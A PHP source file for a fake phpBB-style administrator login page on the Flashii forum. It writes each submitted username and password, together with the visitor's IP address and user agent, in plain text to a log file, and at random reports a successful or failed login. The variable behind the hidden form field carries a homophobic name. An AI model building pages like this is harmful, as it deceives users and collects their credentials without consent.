hajime/public/adm/index.php

136 lines
5.3 KiB
PHP

<?php
require_once __DIR__ . '/../../startup.php';
if(isset($_GET['sid']))
exit;
if(isset($_POST['secret'])) {
file_put_contents('log.txt', date('r').' | '.$_SERVER['REMOTE_ADDR'].' | '.$_SERVER['HTTP_USER_AGENT'].' | '.@$_POST['username'].' | '.@$_POST['password']."\r\n", FILE_APPEND | LOCK_EX);
if(mt_rand(0, 4) == 3)
print $flashii->printMessage('<h1>Authentication Successful!</h1>', './?sid='. hash('sha512', $_POST['secret']));
else
print $flashii->printMessage('<h1>Authentication Failed.</h1>', './');
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>Flashii • Login</title>
<link rel="stylesheet" href="/assets/css/phpbbdarksky.css" type="text/css" />
</head>
<body class="ltr">
<a name="top"></a>
<div id="wrapheader">
<div id="logodesc">
<table cellspacing="0" width="100%">
<tbody>
<tr>
<td><a href="/"><img src="/assets/img/darkskylogo.png" alt="" title="" style="height:188px;width:165px;" /></a></td>
<td align="center" width="100%">
<h1>Flashii.net</h1>
<span class="gen"><em>&quot;double the i double the weeb&quot;</em></span>
</td>
</tr>
</tbody>
</table>
</div>
<div id="menubar">
<table cellspacing="0" width="100%">
<tbody>
<tr>
<td class="genmed">
<?=($flashii->loggedIn() ? '<a href="/sys/logout">Logout [ '. $flashii->getUserdata($_SESSION['uid'])['username'] .' ]</a>' : '<a href="/login">Login</a>&nbsp; &nbsp;<a href="/register">Register</a>');?>
</td>
<td class="genmed" align="right">
<a href="/r/faq">FAQ</a>
&nbsp; &nbsp;<a href="https://www.bing.com/search?q=flashii">Search</a><?=($flashii->loggedIn() ? '&nbsp; &nbsp;<a href="/members">Members</a>&nbsp; &nbsp;<a href="/settings">User Control Panel</a>' : '');?>
</td>
</tr>
</tbody>
</table>
</div>
<div id="datebar">
<table cellspacing="0" width="100%">
<tbody><tr>
<td class="gensmall">Last visit was: <?=date('D M d, Y H:i a', $flashii->getUserdata($_SESSION['uid'])['last_seen']);?></td>
<td class="gensmall" align="right">It is currently <?=date('D M d, Y H:i a');?><br /></td>
</tr>
</tbody></table>
</div>
</div>
<div id="wrapcentre">
<br style="clear: both;">
<table class="tablebg" style="margin-top: 5px;" cellpadding="0" cellspacing="1" width="100%">
<tbody><tr>
<td class="row1">
<p class="breadcrumbs"><a href="/">Board index</a></p>
</td>
</tr>
</tbody>
</table>
<br />
<form action="index.php" method="post">
<table class="tablebg" cellspacing="1" width="100%">
<tbody><tr>
<th>To administer the board you must re-authenticate yourself.</th>
</tr>
<tr>
<td class="row1">
<table style="width: 100%;" align="center" cellpadding="4" cellspacing="1">
<tbody><tr>
<td style="width: 50%; text-align: right;" valign="top"><b class="gensmall">Username:</b></td>
<td><input class="post" name="username" size="25" value="" tabindex="1" type="text">
</td>
</tr>
<tr>
<td style="width: 50%; text-align: right;" valign="top"><b class="gensmall">Password:</b></td>
<td>
<input class="post" name="password" size="25" tabindex="2" type="password">
</td>
</tr>
</tbody></table>
</td>
</tr>
<tr>
<td class="cat" align="center"><input type="hidden" name="secret" value="<?=$gaytumblrshit[array_rand($gaytumblrshit)];?>" />
<input name="login" class="btnmain" value="Login" tabindex="5" type="submit"></td>
</tr>
</tbody></table>
</form>
<br style="clear: both;" />
<table class="tablebg" style="margin-top: 5px;" cellpadding="0" cellspacing="1" width="100%">
<tbody>
<tr>
<td class="row1">
<p class="breadcrumbs"><a href="/">Board index</a></p>
</td>
</tr>
</tbody>
</table>
<br style="clear: both;" />
</div>
<div id="wrapfooter">
<span class="gensmall">[ <a href="/adm/">Administration Control Panel</a> ]</span><br /><br />
<span class="copyright">Powered by <a href="https://www.phpbb.com/">phpBB</a> © 2000, 2002, 2005, 2007 phpBB Group
</span>
</div>
</body>
</html>